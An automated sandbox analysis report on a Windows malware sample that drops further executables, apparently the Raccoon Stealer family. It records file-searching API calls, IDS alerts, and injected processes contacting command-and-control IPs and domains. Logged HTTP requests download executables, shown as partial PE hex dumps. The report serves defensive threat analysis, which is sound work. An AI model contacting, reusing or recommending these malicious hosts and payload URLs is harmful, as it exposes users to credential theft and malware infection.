Source: ECD2MpEBSf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\BB8A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49945 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: BB8A.exe, 0000000C.00000000.759454697.0000000000413000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.765793505.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000010.00000002.807243826.0000000004DE0000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: r*;\C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdbh source: CCB2.exe, 0000000F.00000000.768135951.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777349843.00000000049D7000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: C:\nobaniz_sakalacato34.pdbh source: ECD2MpEBSf.exe, 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000000.00000000.661810290.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000001.00000000.664620927.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000000.751866281.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000002.758107473.0000000000401000.00000020.00020000.sdmp, jgdhbua, 0000000B.00000000.755033215.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: ;C:\bajudag\zexi\yedu49\hecicu\2-tiwi\cabilok\fes.pdbh source: D936.exe, 00000011.00000000.776580962.0000000000401000.00000020.00020000.sdmp, krmdinzg.exe, 00000020.00000000.795753078.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.778942214.0000000000B3E000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777377914.0000000000B3E000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdb source: CCB2.exe, 0000000F.00000000.768135951.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: BB8A.exe, 0000000C.00000000.759454697.0000000000413000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.765793505.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000010.00000002.807243826.0000000004DE0000.00000002.00020000.sdmp
Source:	Binary string: C:\bajudag\zexi\yedu49\hecicu\2-tiwi\cabilok\fes.pdb source: D936.exe, 00000011.00000000.776580962.0000000000401000.00000020.00020000.sdmp, krmdinzg.exe, 00000020.00000000.795753078.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\nobaniz_sakalacato34.pdb source: ECD2MpEBSf.exe, ECD2MpEBSf.exe, 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000000.00000000.661810290.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000001.00000000.664620927.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000000.751866281.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000002.758107473.0000000000401000.00000020.00020000.sdmp, jgdhbua, 0000000B.00000000.755033215.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000010.00000003.778942214.0000000000B3E000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777377914.0000000000B3E000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_004198CC GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_004198CC
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00401280
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00401090
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	15_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00409970
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00688A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00688A30
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_006812E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_006814D0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00686090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00686090
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_00689930
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00689BC0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	15_2_00689D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2034631 ET TROJAN Maldoc Activity (set) 192.168.2.4:49891 -> 74.201.28.62:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.4:49912 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.47.53.36 25
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

May check the online IP address of the machine

Show sources

Source: C:\Users\user\AppData\Local\Temp\CADF.exe	DNS query: name: iplogger.org
Source: unknown	DNS query: name: iplogger.org

Source: global traffic	HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET //l/f/RGwRWn4BZ2GIX1a3oIgO/6bf5d5b41363c3e6b44705458de7ee6f935456db HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET //l/f/RGwRWn4BZ2GIX1a3oIgO/7e7a36a98c7545dda4f314e30bbcbe9a8ba64652 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:13 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:17 GMTContent-Type: application/x-msdos-programContent-Length: 324608Connection: closeLast-Modified: Fri, 14 Jan 2022 19:29:01 GMTETag: "4f400-5d58fd0ac7fe8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d 1f 39 8a 29 7e 57 d9 29 7e 57 d9 29 7e 57 d9 37 2c c2 d9 33 7e 57 d9 37 2c d4 d9 af 7e 57 d9 0e b8 2c d9 2e 7e 57 d9 29 7e 56 d9 c9 7e 57 d9 37 2c d3 d9 13 7e 57 d9 37 2c c3 d9 28 7e 57 d9 37 2c c6 d9 28 7e 57 d9 52 69 63 68 29 7e 57 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 6f ac 7d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f6 03 00 00 ac 11 00 00 00 00 00 50 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 5b e9 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 f0 03 00 50 00 00 00 00 10 15 00 28 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f8 1d 00 00 a0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2e f4 03 00 00 10 00 00 00 f6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 69 63 00 00 00 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 75 76 75 68 75 73 ea 00 00 00 00 f0 14 00 00 02 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 75 66 6f 74 00 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 87 00 00 00 10 15 00 00 88 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 64 46 00 00 00 a0 15 00 00 48 00 00 00 ac 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:49 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 19:29:55 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 17:15:09 GMTETag: "6ff1c7-5d58df1eec44d"Accept-Ranges: bytesContent-Length: 7336391Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 